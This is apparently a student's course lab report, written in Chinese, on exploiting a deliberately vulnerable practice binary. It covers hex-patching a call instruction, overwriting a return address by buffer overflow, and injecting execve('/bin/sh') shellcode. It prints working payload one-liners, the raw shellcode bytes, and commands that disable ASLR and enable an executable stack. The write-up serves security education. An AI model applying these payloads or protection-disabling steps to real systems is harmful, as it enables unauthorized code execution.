20251911 2025-2026-2 《网络攻防实践》实践九报告
1. 实践内容
本次实验针对一个名为 pwn1 的 Linux 可执行程序展开。正常情况下,main 函数会调用 foo 函数,而 foo 仅仅将用户输入的字符串原样输出。程序内部还隐藏着一个 getShell 函数,该函数能启动一个交互式 Shell,但普通执行流程下永远不会被调用。实验的核心目标是强制让程序执行 getShell 函数,从而掌握劫持程序执行路径的基本方法。
实验分为三个子任务:
- 任务一:直接修改可执行文件的二进制代码,改写机器指令,使程序跳转到
getShell函数。 - 任务二:挖掘
foo函数中存在的缓冲区溢出漏洞,精心构造输入字符串覆盖栈上的返回地址,诱导程序执行getShell。 - 任务三:自行编写一段 Shellcode(能启动 Shell 的机器码),将其注入运行中的程序,并让程序跳转执行这段 Shellcode。
2. 实践过程
2.1 手工修改可执行文件,实现跳转到 getShell
(1)设置主机名
首先将 Kali 虚拟机的主机名改为本人姓名的拼音形式:
hostnamectl set-hostname zhangyuehui

重启系统后通过 hostname 命令验证,显示为 zhangyuehui,满足截图命名要求。
(2)重命名实验文件
将实验提供的 pwn1 文件复制到当前目录,并更名为包含学号的形式:
cp /var/run/vmblock-fuse/blockdir/YlgAft/pwn1 ./
mv pwn1 pwn20251911

(3)反汇编分析原始程序
利用 objdump 查看程序的汇编代码:
objdump -d pwn20251911 | less

在输出结果中定位到三个关键部分:
getShell函数的入口地址:0x0804847dfoo函数的地址:0x08048491main函数中调用foo的指令位置0x080484b5,其机器码为e8 d7 ff ff ff,对应call 8048491 <foo>
(4)计算需要修改的机器码
call 指令使用相对偏移寻址,偏移量计算方式为:目标地址 − 当前指令的下一条指令地址。
当前指令位于 0x080484b5,下一条指令位于 0x080484ba。我们想要调用的目标是 0x0804847d,因此:
偏移量 = 0x0804847d − 0x080484ba = 0xffffffc3
小端序表示为 c3 ff ff ff,加上 call 的操作码 e8,最终机器码应为 e8 c3 ff ff ff。
原机器码中的 d7 ff ff ff 需要替换为 c3 ff ff ff。
(5)使用十六进制编辑器修改文件
用 vim 打开目标文件:
vim pwn20251911
在末行模式输入 :%!xxd 切换到十六进制视图。


搜索字符串 /e8 d7 找到待修改字节,将 d7 改为 c3。修改后执行 :%!xxd -r 恢复二进制格式,最后 :wq 保存退出。
(6)验证修改效果
再次执行反汇编:
objdump -d pwn20251911 | grep -A2 "80484b5"

输出显示 call 804847d <getShell>,说明修改正确。运行程序:
./pwn20251911
直接获得了 Shell 提示符,输入 id 或 ls 命令

均能正常执行,攻击成功。
2.2 利用缓冲区溢出漏洞覆盖返回地址
(1)还原程序并分析栈分布
重新拷贝一份未修改的 pwn20251911。反汇编 foo 函数:
objdump -d pwn20251911 | sed -n '/<foo>:/,/^$/p'

关键的汇编指令:
sub $0x38, %esp # 在栈上分配 56 字节空间
lea -0x1c(%ebp), %eax # 缓冲区起始位置为 ebp - 28
由此可知,缓冲区首地址距离 ebp 为 28 字节。返回地址存放在 ebp+4 的位置,因此从缓冲区起始到返回地址之间的偏移量为 (ebp+4) - (ebp-28) = 32 字节。也就是说,我们填充 32 个任意字符后,接下来的 4 个字节就会被解释为返回地址。只要将这 4 个字节设置为 getShell 函数的地址 0x0804847d 即可。
(2)安装 gdb 辅助验证
sudo apt install gdb -y
gdb pwn20251911
(gdb) info address getShell

(3)构造恶意输入并生成载荷
使用 Perl 命令行生成攻击字符串:
perl -e 'print "A" x 32 . "\x7d\x84\x04\x08\x0a"' > 20251911_input
这里 "A" x 32 是填充数据,后面紧跟 getShell 地址的小端序表示,末尾的 \x0a 是换行符。通过 xxd 验证文件内容:
xxd 20251911_input

(4)实施攻击
将生成的载荷作为程序输入:
(cat 20251911_input; cat) | ./pwn20251911
程序打印完输入回显后,出现 Shell 提示符,可以继续输入命令。执行 whoami 确认身份

攻击达到预期效果。
2.3 注入自定义 Shellcode
(1)安装 execstack 并设置堆栈可执行
下载并安装 execstack 工具:
wget http://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb
sudo dpkg -i execstack_0.0.20131005-1.1_amd64.deb

为目标程序启用可执行栈:
execstack -s pwn20251911
execstack -q pwn20251911 # 应输出 X,表示栈可执行

(2)关闭内核地址随机化(ASLR)
查看当前 ASLR 等级:
cat /proc/sys/kernel/randomize_va_space

显示非 0,执行:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

(3)准备初始 Shellcode(带占位返回地址)
选用经典的 28 字节 execve("/bin/sh") Shellcode,前面添加 6 个 NOP(\x90)作为滑梯,末尾用 \x04\x03\x02\x01 临时填充返回地址。
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x04\x03\x02\x01\x00"' > input3_20251911

(4)动态获取 Shellcode 在栈上的实际地址
启动一个终端,运行带有占位输入的程序:
(cat input3_20251911; cat) | ./pwn20251911
程序处于等待状态。另开一个终端,查看该程序的 PID:
ps -ef | grep pwn20251911

PID 为 24576。再开第三个终端,用 gdb 附加到进程:
gdb pwn20251911
(gdb) attach 24576
(gdb) disass foo # 找到 ret 指令位置
(gdb) break *0x080484ae # 在 ret 处设置断点
(gdb) c

此时回到第一个终端按下回车,gdb 会命中断点。


在 gdb 中查看栈顶寄存器 esp:
(gdb) info registers esp

esp: 0xffffcf5c
通常返回地址存储在 esp+4 处,即 0xffffcf60。我们可以验证一下:
(gdb) x/16x 0xffffcf60

观察到 0xffffcf60 位置正是存放返回地址的地方。因此我们需要让程序跳转到 0xffffcf60,而这个地址恰好就是我们 Shellcode 的起始位置(因为 Shellcode 紧跟在返回地址之后)。
(5)构造最终的攻击载荷
前面分析得知,返回地址位于缓冲区的第 33~36 字节。我们填入 0xffffcf60 的小端形式,然后紧接着放置 NOP 雪橇和实际 Shellcode。最终载荷如下:
perl -e 'print "A" x 32; print "\x60\xcf\xff\xff"; print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' > final_shellcode
其中 "A" x 32 为填充,末尾的 \x00 避免字符串截断,\x0a 为换行。

(6)实施最后一次攻击
(cat final_shellcode; cat) | ./pwn20251911
程序输出提示后立即返回 Shell 提示符

输入 ls 能够列出当前目录文件,攻击成功。
3. 学习中遇到的问题及解决
- 问题1:手动修改二进制文件时,用
vim编辑后保存,程序运行时出现“段错误”。
原因:修改后忘记将十六进制视图转换回二进制格式,导致文件损坏。
解决方法:在:%!xxd修改后,务必执行:%!xxd -r再保存。
4. 实践总结
通过本次实验,让我深刻体会到返回地址精确计算在缓冲区溢出攻击中的关键作用。在任务二里,我着重思考了 sub $0x38,%esp 与 lea -0x1c(%ebp),%eax 两条指令,才确定从缓冲区起始到返回地址的偏移量为 32 字节。这一过程让我真正理解了函数调用栈中 ebp、esp 与返回地址的布局关系。后续在 gdb 中动态验证时,看到自己构造的地址成功覆盖了栈上的返回地址,程序如愿跳转到 getShell,有很大成就感,这也加深了我对栈溢出原理的掌握。

浙公网安备 33010602011771号